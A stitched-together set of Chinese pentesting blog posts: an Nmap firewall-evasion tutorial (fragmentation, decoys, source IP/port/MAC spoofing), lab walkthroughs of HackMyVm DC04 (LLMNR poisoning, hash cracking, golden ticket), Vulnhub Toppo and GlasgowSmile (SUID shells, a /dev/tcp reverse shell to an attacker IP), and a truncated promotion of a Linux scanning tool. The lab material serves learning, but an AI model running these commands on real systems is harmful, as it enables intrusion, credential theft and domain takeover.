Nmap防火墙绕过技巧详解 防火墙与入侵检测系统（IDS）的核心工作逻辑，是依托规则匹配机制甄别并拦截异常扫描流量，比如识别 Nmap 标准探测包特征、单一源 IP 高频请求等行为。以下四类 Nmap 防火墙绕过技巧，核心思路在于利用设备规则漏洞，包括数据包片段重组缺陷、IP / 端口信任策略、流量特征识别盲区等，实现隐蔽扫描操作。所有操作均需获取 root 权限以构造自定义数据包，且必须在合法授权范围内执行。因缺乏实体防火墙设备，本文以本地靶机为测试环境展开演示，重点记录各类绕过技术的核心逻辑与操作方法。1 报文分段绕过1.1 技术原理多数防火墙与 IDS 设备会对完整的 TCP 或 UDP 数据包特征进行检测，比如 Nmap 默认探测包的标志位、数据长度等。Nmap 的-f参数可将扫描数据包拆分为小型片段，默认按 MTU 576 字节拆分后，每个片段仅 16 字节左右。部分老旧防火墙与 IDS 不具备数据包重组能力，拆分后的扫描流量难以被其识别，进而实现对拦截机制的规避。1.2 实操命令假设目标主机 10.10.10.178 的 80 端口已被防火墙过滤，可通过分段 + SYN 扫描精准探测该端口状态，命令如下：Nmap -f -sS 10.10.10.178 -p 80 # 分段+SYN扫描，重点探测80端口 执行结果示例结果解读未启用-f参数时，80 端口通常会显示为filtered状态，即无有效响应；启用分段功能后，拆分后的数据包可绕过防火墙检测，目标主机的响应会使端口状态变为open|filtered，后续可通过补充探测验证端口是否真正开放。1.3 适用场景适用：该技巧对不支持数据包重组功能的老旧防火墙效果显著，典型代表如部分企业仍在使用的旧版 Cisco ASA 设备。注意：现代主流防火墙（如 Palo Alto、华为 USG）均具备完善的数据包重组能力，该技术大概率失效。数据包拆分后会增加传输耗时，扫描速度明显变慢，可搭配-T4参数优化效率，命令为sudo Nmap -f -T4 -sS 10.10.10.178。2 自定义最大传输单元2.1 技术原理MTU（最大传输单元）指网络中可传输的单个数据包最大长度，以太网环境默认 MTU 值为 1500 字节。防火墙常针对标准 MTU 尺寸的数据包制定严格检测规则，Nmap 的--mtu参数可自定义数据包 MTU 值（需为 8 的倍数，常见可选值如 1480、1472 等）。通过发送非标准 MTU 尺寸的数据包，可避开防火墙针对标准流量的拦截策略，本质是报文分段技术的灵活进阶版本。2.2 实操命令若目标主机 10.10.10.178 的 443 端口被防火墙基于 MTU 1500 的规则过滤，可自定义 MTU 值进行探测，命令如下：sudo Nmap --mtu 1480 -sS 10.10.10.178 -p 443 # 自定义MTU 1480，扫描443端口 执行结果示例结果解读将 MTU 值设置为非标准的 1480 后，数据包长度脱离防火墙预设检测范围，拦截规则失效，可成功探测到 443 端口的实际开放状态。2.3 适用场景适用场景：当防火墙针对默认 MTU 1500 字节数据包设置专项检测规则，或-f参数的分段效果不佳时，自定义 MTU 是更优选择。注意事项：自定义 MTU 值必须严格遵循 8 的倍数规则（如 1480=8×185、1472=8×184），否则命令会直接报错无法执行。MTU 最小值建议不低于 64 字节，过小的数据包可能被防火墙判定为无效流量直接丢弃。3 诱饵隐藏扫描3.1 技术原理防火墙的核心检测逻辑之一是识别单一源 IP 的高频请求行为，以此判定扫描攻击。Nmap 的-D参数可生成多个虚拟诱饵 IP，这些 IP 可随机生成或手动指定固定地址，与真实扫描 IP 同步发送探测数据包。目标主机的日志会记录多个 IP 的并发请求，防火墙无法精准区分真实扫描源，从而实现真实 IP 的隐藏，避免被纳入黑名单。3.2 实操命令对目标主机 10.10.10.178 进行扫描时，可配置 3 个随机诱饵 IP 与 1 个内网网关固定诱饵 IP（10.10.10.1），命令如下：sudo Nmap -D RND:3,10.10.10.1 -sS 10.10.10.178 # 3个随机诱饵+1个固定诱饵 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 09:50 CST Nmap scan report for 10.10.10.178 Host is up (0.00068s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https # 关键：目标防火墙日志会记录以下IP的请求，无法定位真实扫描端 # 诱饵IP：10.10.10.1（固定）、10.10.10.56（随机）、10.10.10.123（随机）、10.10.10.201（随机） # 真实IP：未单独记录，混在诱饵中 Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds 结果解读扫描执行后，目标防火墙日志会同时记录多个 IP 的访问请求，包括固定诱饵 IP 10.10.10.1、3 个随机生成的诱饵 IP（如 10.10.10.56、10.10.10.123、10.10.10.201），真实扫描 IP 的请求会混在其中无法区分，有效规避了单一 IP 被拉黑的风险。最终探测结果显示，目标主机 22、80、443 等端口处于开放状态。3.3 适用场景适用场景：该技术适用于公网渗透测试等需要隐藏真实 IP 的场景，尤其适合对远程目标服务器的匿名探测。注意事项：诱饵 IP 需选择可达的有效地址，比如内网网段内的闲置 IP，无效 IP 发送的请求易被防火墙识别为异常扫描。诱饵数量建议控制在 3-5 个，数量过多会大幅增加扫描耗时，数量过少则无法达到有效的隐藏效果。4 源地址欺骗4.1 技术原理部分防火墙会配置 IP 白名单访问控制策略，仅允许特定可信 IP（如内网管理 IP、合作伙伴服务器 IP）访问目标端口。Nmap 的-S参数可将扫描数据包的源 IP 地址伪装为白名单中的可信地址，防火墙验证源 IP 符合信任规则后，会允许请求通过，从而绕过 IP 过滤机制实现扫描。4.2 实操命令假设目标主机 10.10.10.178 的防火墙仅允许内网管理 IP 10.10.10.2 访问 3389 端口，可通过伪装源 IP 进行探测，命令如下：sudo nmap -S 10.10.10.2 -sS 10.10.10.178 -p 3389 # 伪装成10.10.10.2（白名单IP） 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 10:00 CST Nmap scan report for 10.10.10.178 Host is up (0.00071s latency). PORT STATE SERVICE 3389/tcp open ms-wbt-server # 原本被IP过滤的3389端口，现在显示open（伪装生效） Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds 结果解读源 IP 伪装为白名单中的 10.10.10.2 后，防火墙放行该请求，扫描结果显示 3389 端口（ms-wbt-server 服务）处于开放状态，表明地址欺骗生效，成功绕过了 IP 过滤限制。4.3 适用场景适用场景：适用于已知防火墙 IP 白名单的场景，比如内网渗透测试中已获取管理 IP 信息，需访问被 IP 限制的关键端口时。注意事项：伪装的 IP 地址必须在防火墙白名单范围内，且扫描端与目标主机需保持通信可达，同网段环境下效果最佳，跨网段需依赖路由转发支持。由于目标主机会将响应数据包发送至伪装 IP，而非真实扫描端，可能无法直接接收响应结果，建议搭配-Pn（跳过 ping 检测）和-v（详细模式）确认扫描执行状态。5 源端口欺骗5.1 技术原理防火墙多针对数据包的源端口配置访问控制规则，常见策略是仅允许源端口为 53（DNS 服务）、80（HTTP 服务）、443（HTTPS 服务）等常用业务端口的请求通过，这类端口被默认为正常业务流量。Nmap 的--source-port参数（简写为-g）可手动指定扫描数据包的源端口，通过伪装成防火墙信任的正常业务端口，规避其端口过滤机制，实现扫描流量的放行。5.2 实操命令若目标主机 10.10.10.178 的防火墙仅允许源端口为 53（DNS）的请求访问 80 端口，可通过指定源端口的方式探测，命令如下：sudo nmap -g 53 -sS 10.10.10.178 -p 80 # 指定源端口53（DNS），扫描80端口 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 10:10 CST Nmap scan report for 10.10.10.178 Host is up (0.00065s latency). PORT STATE SERVICE 80/tcp open http # 原本被源端口过滤的80端口，现在显示open（端口欺骗生效） Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds 结果解读扫描数据包的源端口被伪装为 53 后，防火墙将其判定为 DNS 关联的正常 HTTP 请求，未执行拦截操作。扫描结果显示 80 端口处于 open 状态，表明源端口欺骗成功，有效绕过了防火墙的端口限制规则。5.3 适用场景适用场景：适用于防火墙配置了源端口白名单的环境，尤其当目标端口被限制仅允许常见业务端口访问时，该技术效果显著。注意事项：指定的源端口不能被本地其他服务占用，例如本地已启动 DNS 服务时，端口 53 处于占用状态，执行命令会直接报错。优先选择 53、80、443 等高频使用的业务端口，这类端口被防火墙纳入信任范围的概率更高，欺骗成功率也随之提升。6 附加随机数据6.1 技术原理入侵检测系统（IDS）多依赖 Nmap 标准探测包的固定特征（如固定数据长度、无额外附加数据）识别扫描行为。Nmap 的--data-length参数可在探测包中添加指定字节数的随机数据（如 100 字节），通过改变数据包的原有特征，让 IDS 的特征库无法精准匹配，从而绕过其检测机制。6.2 实操命令对目标主机 10.10.10.178 进行扫描时，可在探测包中附加 100 字节随机数据，命令如下：sudo nmap --data-length 100 -sS 10.10.10.178 # 附加100字节随机数据 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 10:20 CST Nmap scan report for 10.10.10.178 Host is up (0.00073s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https # 关键：IDS未识别到扫描流量（因数据包含100字节随机数据，特征不匹配） # 未用--data-length时，该扫描会被IDS拦截，端口显示filtered Nmap done: 1 IP address (1 host up) scanned in 1.32 seconds 结果解读未使用--data-length参数时，扫描流量会因匹配 IDS 中的 Nmap 标准包特征被拦截，端口状态多显示为 filtered；附加 100 字节随机数据后，数据包特征发生改变，与 IDS 预设规则不匹配，未被拦截。最终探测到目标主机 22、80、443 等端口处于开放状态，扫描达到预期效果。6.3 适用场景适用场景：该技术对依赖固定特征库检测的 IDS 效果明显，例如旧版 Snort 等传统入侵检测系统，需模糊扫描流量特征时可优先使用。注意事项：随机数据长度建议控制在 50-200 字节区间，长度过小则难以改变数据包核心特征，过大可能被防火墙判定为异常流量直接丢弃。对基于行为分析的 IDS（如采用机器学习算法的检测系统）效果有限，这类系统不依赖固定特征，而是通过流量行为模式识别异常。7 MAC 地址欺骗7.1 技术原理局域网环境中的防火墙或交换机，部分会基于 MAC 地址配置访问过滤策略，仅允许特定可信设备（如内网打印机、核心服务器）的 MAC 地址访问目标资源。Nmap 的--spoof-mac参数可将扫描数据包的源 MAC 地址伪装为该信任列表中的地址，二层网络设备（如交换机）会将其判定为可信设备的请求，不执行拦截操作，从而实现绕过。该技术仅适用于局域网环境，因 MAC 地址属于二层通信标识，无法跨路由进行传输。7.2 实操命令假设目标主机 10.10.10.178（同局域网内）的交换机仅允许 MAC 地址为00:0C:29:12:34:56（内网打印机）的设备访问，可通过伪装该 MAC 地址扫描，命令如下：sudo nmap --spoof-mac 00:0C:29:12:34:56 -sS 10.10.10.178 # 伪装成打印机MAC 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 10:30 CST Nmap scan report for 10.10.10.178 Host is up (0.00069s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http # 关键：交换机未拦截请求（因源MAC是信任的打印机MAC） # 未伪装时，扫描被交换机MAC过滤，端口显示filtered Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds 结果解读源 MAC 地址伪装为信任的打印机地址后，局域网交换机未对扫描请求进行拦截，成功探测到目标主机 22、80 端口处于开放状态。未伪装时，扫描请求会被 MAC 过滤规则阻断，端口状态显示为 filtered，对比可见欺骗效果显著。7.3 适用场景适用场景：主要用于局域网渗透测试，例如内网环境中需绕过交换机的 MAC 白名单限制，访问被管控的目标主机时。注意事项：伪装的 MAC 地址需符合标准格式（如00:0C:29:xx:xx:xx，VMware 虚拟设备默认 MAC 前缀），可通过arp -a命令查看目标网段内的可信设备 MAC 地址。跨路由扫描时该技术完全无效，因为路由转发过程中会将数据包的源 MAC 地址替换为网关设备的 MAC 地址。8 总结Nmap 防火墙绕过技术的核心逻辑，均围绕利用防火墙 / IDS 的规则漏洞展开，通过改变数据包特征、隐藏真实访问源、伪装可信身份等方式，规避拦截机制。不同技术的适用场景与核心要点存在差异，实际应用中需结合目标网络环境（如局域网 / 公网）、设备类型（老旧 / 现代防火墙）、防护规则（IP / 端口 / MAC 白名单）等因素选择合适方案。往期推荐新版BurpSuite v2025.6.3汉化版，附激活教程Fine！2025最新款信息收集综合工具若依Vue漏洞检测工具v7更新最好用的下一代目录爆破工具，全方位的目录爆破集成MemProcFS，Vol2和Vol3的内存取证神器重大更新！FeatherScan v4.5 内网 Linux 信息收集，提权一键梭哈神器x-WAF，一个基于fuzz的WAF绕过渗透工具这10款内网穿透工具，一定有你没用过的红队命令速查手册挖SRC必须知道的25个漏洞提交平台挖SRC必须知道的25个漏洞提交平台FeatherScan v4.0 - 一款Linux内网全自动信息收集工具掩日-适用于红队的综合免杀工具2025最新渗透测试靶场推荐近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等【内网渗透】隐藏通信隧道技术内网渗透必备，microsocks，一个轻量级的socks代理工具神器分享 红队快速打点工具-DarKnuclei红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！一个永久的渗透知识库【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透

HackMyVm-DC04：难 14.1 外网打点nmap -sS -p- -T4 192.168.0.103 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'nmap -sS -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49680,49710,49765 -T4 192.168.0.103 -A自动重定向到这个域名编辑下面的文件，将ip和域名加入进去# Windows C:\Windows\System32\drivers\etc\hostsLinux也要，不然扫描不到东西，这里他变成了重定向次数过多，而不是之前的无法访问网站echo "192.168.0.103 soupedecode.local" >> /etc/hosts使用dir进行目录扫描，扫出来一个这个目录dirb http://soupedecode.local还有一个服务器信息http://soupedecode.local/server-info这里有一个服务版本，可以使用searchsploit检索一下（没有发现任何有用的东西）我们一直往下翻，翻到了这个东西继续将这个域名添加到hosts中，就可以访问站点了，是一个登录框14.2 后台爆破打开burp，fuzz SQL注入、xss字典，都没有结果，使用相同的账号密码字典爆破也没有结果继续信息收集SMBclient -L //192.168.0.103/ -N后续也尝试了各种枚举，也没有东西。。。。。。后边去看了看别人写的，就是这个机子很容易出问题，爆破几次后，后面怎么爆破都是403了最后爆破出来账号密码是 admin:nimda登录成功后会要求你输入ip地址可能是命令执行，但是尝试各种命令执行都失败了，只要和|，&相关的都不行，看来是做了过滤【RCE剖析】从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析14.3 LLMNR那就来试试DC3的LLMNR，我们在这个输入框里输入kali的ip地址responder -I eth0 -wdecho "websvc::soupedecode:e2985b38b501aed2:E5E63AAD4B475A06D1ECE4C7F78A2E60:010100000000000080646EFE3946DC01F711F570D52509F5000000000200080045004B0042004F0001001E00570049004E002D0043003700380051004F0038004100440032003100490004003400570049004E002D0043003700380051004F003800410044003200310049002E0045004B0042004F002E004C004F00430041004C000300140045004B0042004F002E004C004F00430041004C000500140045004B0042004F002E004C004F00430041004C000700080080646EFE3946DC01060004000200000008003000300000000000000000000000004000005C18B02FEAC5263030D32A3F0BCCDD51E0CAD786D3DFBABF65601AC3E74CE55D0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0030002E003100340038000000000000000000" > hash john hash --wordlist=/usr/share/wordlists/rockyou.txtwebsvc:jordan23密码已过期，应该知道怎么搞了吧14.5 近源攻击！按住esc进入选择用户界面，然后根据步骤一步一步走输入原来的账号密码选择ok，说明你密码输入对了随后就可以修改你的账号密码了14.6 SMB信息收集账号密码 websvc:jordan23SMBclient -L //192.168.0.103 -U "SOUPEDECODE.LOCAL/websvc%admin123"在c盘找到第一个flagSMBclient //192.168.0.103/C -U "SOUPEDECODE.LOCAL/websvc%admin123"14.7 查询域内SPN关联用户有了域内的账号密码，再来看看SPN，查询域内所有关联了 SPN 的用户，用来获取他们的凭据，没有结果14.8 枚举域内用户SIDpython /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/websvc@192.168.0.103 > users grep "SidTypeUser" /data/demo/users | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt14.9 获取不需要预认证用户的AS-REP哈希结果没有impacket-GetNPUsers -dc-ip 192.168.0.103 soupedecode.local/ -usersfile target_users.txt > hash cat hash | grep +14.10 ldapdomaindump收集 LDAP 信息，获取域内用户列表、权限分组（如 Domain Admins）、账号状态（启用 / 禁用），锁定高价值目标（如 Administrator）。ldapdomaindump -u "SOUPEDECODE.LOCAL\websvc" -p admin123 192.168.0.103 python -m http.server访问8000端口，看到用户不属于任何特权组，仅仅是普通用户仔细翻翻看，找到一个默认的账号密码rtina979 ：Z~l3JhcV#7Q-1#M同样的密码过期，需要近源攻击！SMBclient //192.168.0.103/C$ -U "SOUPEDECODE.LOCAL/rtina979%Z~l3JhcV#7Q-1#M"这里给你们一张表，输入清楚了哈，我输了十多遍，艹14.11 二次SMB信息收集此时就能正常登录了在rtina979用户的Documents文件夹里找到一个rar压缩包，把它下载下来解压需要密码fcrackzip 工具只能用于破解 ZIP 文件，而我们的文件是 RAR 格式。使用 rar2john 将 RAR 文件转换为 John the Ripper 可识别的哈希格式。提取哈希：rar2john Report.rar > report_hash.txt使用字典攻击（使用 rockyou.txt）：john --wordlist=/usr/share/wordlists/rockyou.txt report_hash.txt解压，输入密码PASSWORD123解压出来会发现当前目录有一个htm文件是一个渗透测试报告在这个报告最后，能看到krbtgt的hash内容14.12 黄金票据攻击条件： 获取 KRBTGT 账户哈希 - 通过 DCSync 或其他方式 获取域 SID - 通过 LDAP 或 SMB 枚举 知道域名 - 目标域的完整名称 获取到了KRBTGT哈希 先验证一下是否是正确的，红色代表失败，紫色代表hash正确，或者账户禁用，或者密码过期等等0f55cdc40bd8f5814587f7e6b2f85e6f14.12.1 获取域SID域SID为：S-1-5-21-2986980474-46765180-2505414164python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/rtina979@192.168.0.10314.12.2 同步域时间在平时可能会遇到kali和靶机的时间一直都不同步，怎么使用ntpdate或者其他时间同步工具，就是同步不起来，就需要使用下面第一行的命令了systemctl stop systemd-timesyncd # 停止自动时间同步服务 ntpdate 192.168.0.103 # 强制同步时间14.12.3 生成管理员的黄金票据impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain soupedecode.local administrator14.12.4 导入票据到环境变量export KRB5CCNAME=administrator.ccache14.12.5 使用票据impacket-wmiexec soupedecode.local/administrator@dc01.soupedecode.local -k -target-ip 192.168.0.103至此渗透完成啦14.13 总结DC04 域渗透从外网打点起步，nmap 扫描发现目标开放 80、88、445 等端口，访问 80 端口需配置 hosts 解析域名，目录扫描找到后台登录页。爆破无果后，利用后台 IP 输入框发起 LLMNR 投毒，捕获 websvc 用户哈希并破解密码，通过近源攻击修改过期密码。登录 SMB 获取首个 flag 后，枚举域用户发现 rtina979 账号及密码，再次近源攻击修改密码。登录其 SMB 下载加密压缩包，破解后得到渗透报告，从中提取 krbtgt 用户哈希。获取域 SID 并同步时间后，生成 Administrator 黄金票据，导入环境变量后通过 wmiexec 成功登录域控，获取最高权限，全程依赖凭据获取与票据攻击，突破多重限制完成渗透。往期推荐全网首发！HMV全套Windows机器提权，域渗透教程，2w字超详细HackMyVm-DC04 ：简单HackMyVm-DC03 ：简单HackMyVm-DC02 ：简单HackMyVm-DC01 ：简单HackMyVm-TriplAdvisor ：简单HackMyVm-Runas ：简单HackMyVm-Always ：简单HackMyVm-Nessus ：简单HackMyVm-Liar ：简单HackMyVm-Simple ：简单HackMyVm-Simple ：简单HackMyVm-Zero ：简单HackMyVm-OMG ：简单新版BurpSuite v2025.6.3汉化版，附激活教程Fine！2025最新款信息收集综合工具若依Vue漏洞检测工具v7更新最好用的下一代目录爆破工具，全方位的目录爆破集成MemProcFS，Vol2和Vol3的内存取证神器重大更新！FeatherScan v4.5 内网 Linux 信息收集，提权一键梭哈神器x-WAF，一个基于fuzz的WAF绕过渗透工具这10款内网穿透工具，一定有你没用过的红队命令速查手册挖SRC必须知道的25个漏洞提交平台挖SRC必须知道的25个漏洞提交平台FeatherScan v4.0 - 一款Linux内网全自动信息收集工具掩日-适用于红队的综合免杀工具2025最新渗透测试靶场推荐近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等【内网渗透】隐藏通信隧道技术内网渗透必备，microsocks，一个轻量级的socks代理工具神器分享 红队快速打点工具-DarKnuclei红日靶场5，Windows内网渗透，社工提权，多种域内横向移动思路【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！一个永久的渗透知识库【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，Windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透

Vulnhub-Toppo靶机，python、awk的SUID提权，两种提权方式 vulnhub-Toppo靶机，SUID提权这个靶机主要是suid提权，相对简单，靶机下载：官网链接：https://download.vulnhub.com/toppo/Toppo.zip使用nmap和dirb进行web打点nmap -sS 10.10.10.222 -p- -A -T4dirsearch -u http://10.10.10.222/web识别，是一个普通的html页面whatweb http://10.10.10.222/发现了一个密码信息 12345ted123我们猜测账号就是那串密码夹着中间的英文ted登录成功之后就是内网渗透，我们使用FeatherScan进行内网信息收集git clone https://github.com/baibaixiaoyu2024/FeatherScan.gitcd FeatherScan_v4_5_python -m http.server​# 靶机wget 10.10.10.130:8000/FeatherScan_v4_5wget 10.10.10.130:8000/feather_vuln_db.txtchmod +x FeatherScan_v4_5./FeatherScan_v4_5发现提权漏洞得到两个提权向量，两个命令都可以用awk 'BEGIN {system("/bin/sh")}'python -c 'import os; os.execl("/bin/sh", "sh", "-p")' # 靶机没有sh就用bash替换至此提权成功！很简单吧

VulnHub--GlasgowSmile-v1.1 靶机地址：https://www.vulnhub.com/entry/glasgow-smile-11,491/首先对目标地址进行端口扫描访问80界面来看看插件的内容以及dirb目录扫描的结果，这里发现了一个joomla的cms内容管理系统我们使用joomscan进行目录扫描joomscan --url http://10.10.10.129/joomla版本指纹为 Joomla 3.7.3rc1尝试一顿操作后，都登录不进去，找exp也没有，那么就来爆破后台地址http://10.10.10.129/joomla/administrator普通密码字典爆破失败后我又试着将index.php中的信息用cewl做成字典进行尝试cewl http://10.10.10.129/joomla > dict1.txt继续打开burp抓包，尝试admin进行爆破添加字典没有结果这里要使用这个默认的用户joomla此时的密码就爆破成功了来到后台的管理我们找到已启动的主题这里修改配置文件，为反弹shell的php（kali自带的）之后访问主页就能反弹成功了我们使用FeatherScanwget 10.10.10.128:8000/FeatherScanchmod +x FeatherScan./FeatherScan检查敏感文件/etc/passwd、/etc/shadow都不可写，以及sudo命令都不可以使用通过FeatherScan linux内网扫描工具扫描出来可能存在脏牛提权漏洞尝试一下是失败的，看样子是已经修复了的切换思路，我们来到cms的配置文件可以看到密码就是Gotham（刚刚爆破出来的结果）mysql -ujoomla -pbabyjokeruse joomla_dbuse mysqlselect User,Password from user;找到了root的解密结果为babyjoker切换任意一个用户试试看样子都没有效果，我们换一个数据库看看use batjokeselect * from taskforce;很好找到了这些密码，全部记下来并解密（base64）Bane:baneishereAaron:aaronishereCarnage:carnageisherebuster:busterishereffrob:???AllIHaveAreNegativeThoughts???aunt:auntis the fuck here发现rob用户存在，切换用户成功找到第一个flag这里有一个abner用户的求救文件，看样子是一个加密文件，那么是什么加密呢，从一封信的角度来看，对内容做隐藏让我想到了ROT13https://btsrk.me/，打开这个站点，我们对这个结果进行解密翻译结果如下简单来说就是让我们解密这段base64加密的结果STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==┌──(root㉿kali)-[/data/demo]└─# echo "STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==" | base64 -dI33hope99my0death000makes44more8cents00than0my0life0解密成功后就切换到这个用户找到第二个flag，又有一个提示信息，但是没什么用前面信息收集都搜集的差不多了（FeatherScan），直到我查看到了他的历史命令包含了这样一个东西找到这个文件的位置，还要我们输入密码find / -name .dear_penguins.zip 2>/dev/null下载下来尝试爆破，用kali自带的字典一顿操作没有结果后，我使用了当前用户的密码进行猜测，就成功了abner@glasgowsmile:/var/www/joomla2/administrator/manifests/files$ unzip .dear_penguins.zip -d /tmp<r/manifests/files$ unzip .dear_penguins.zip -d /tmpArchive: .dear_penguins.zip[.dear_penguins.zip] dear_penguins password: I33hope99my0death000makes44more8cents00than0my0life0​inflating: /tmp/dear_penguins abner@glasgowsmile:/$ cd /tmpcd tmpabner@glasgowsmile:/tmp$ lslsdear_penguinsabner@glasgowsmile:/tmp$ cat dear_penguinscat dear_penguinsMy dear penguins, we stand on a great threshold! It's okay to be scared; many of you won't be coming back. Thanks to Batman, the time has come to punish all of God's children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!!!scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz就又看到一段密文scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz，再次切换用户试试在penguin用户中看到了一个find命令，且具有suid权限，很多人可能会想到find提权，但是这里可不是，下面看描述1、s（setuid 位）：表示该文件在执行时，会以文件所有者（penguin）的权限运行，而不是执行者的权限。2、这里的所有者是penguin，所以find运行时会有penguin的权限（不是root）。我们来看下面这个文件，也是一个可执行文件，查看内容竟然是一个可执行sh脚本开始修改penguin@glasgowsmile:~/SomeoneWhoHidesBehindAMask$ echo '#/bin/sh'#/bin/shpenguin@glasgowsmile:~/SomeoneWhoHidesBehindAMask$ echo '#!/bin/bash' > .trash_oldpenguin@glasgowsmile:~/SomeoneWhoHidesBehindAMask$ echo '/bin/sh -i >& /dev/tcp/10.10.10.130/1234 0>&1' >> .trash_oldpenguin@glasgowsmile:~/SomeoneWhoHidesBehindAMask$ cat .trash_old#!/bin/bash/bin/sh -i >& /dev/tcp/10.10.10.130/1234 0>&1penguin@glasgowsmile:~/SomeoneWhoHidesBehindAMask$ ./.trash_old​到此提权成功往期推荐不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学防溯源小技巧ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【oscp】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录

FeatherScan v4.0 - 适用于Linux的全自动内网信息收集工具 前言在平时渗透打靶的时候，经常要自己手工输入命令，做各种基本的信息收集，非常的繁琐，所以自研了一款工具，这款工具没有接入AI，因为不合适，接入了AI的话在一些不能上网的环境下进行信息收集，权限提升的分析，会非常的不方便，这款工具全都在目标机器本地执行（执行速度快，提高渗透测试效率），类似于fscan，需要上传到目标靶机上，后期会增加离线的POC和漏洞库对Linux系统进行全面的信息收集，和特权提升检测，获取方式见文末PS：如果有提权需要可以将这些收集到的信息，全部复制给AI分析就可以了，比如Venice Uncensored另外这个工具采用并行的执行方式，而不是同步执行，这样的话会显著提升脚本的执行速度，不然光一个IP内网扫描，你都够吃一顿肯德基了没有完美的工具，人也是，不可能做到人人都喜欢，不喜欢或者觉得垃圾，勿喷，您完全有使用别的工具的权力，比如开源的LinPEAS、LinEnum、Bashark等等，但都是英文的，有些师傅们可能看不懂，我也看不懂，可能是我没有文化吧，要手动去翻译很麻烦，而我这个是专为国人打造的Linux自动化内网信息收集工具。如果哪里有欠缺或者建议，欢迎师傅们批评和留言。概述FeatherScan是一款专为Linux系统设计的自动化内网渗透与特权提升扫描工具，由泷羽Sec作者白小羽开发。该工具旨在简化渗透测试过程中的内网信息收集和提权检测环节，通过自动化扫描显著减少手工操作时间，帮助安全研究人员高效识别系统弱点。V4.0主要功能1. 全面系统信息收集操作系统与内核信息、用户与组权限分析、环境变量深度检查、网络配置与路由信息、敏感文件权限审计、容器环境检测、服务与进程分析等等简单的内核提权漏洞检测（非常适合用来打靶机学习）2. 内网渗透扫描 主机发现：混合扫描技术（ICMP Ping + ARP分析 + 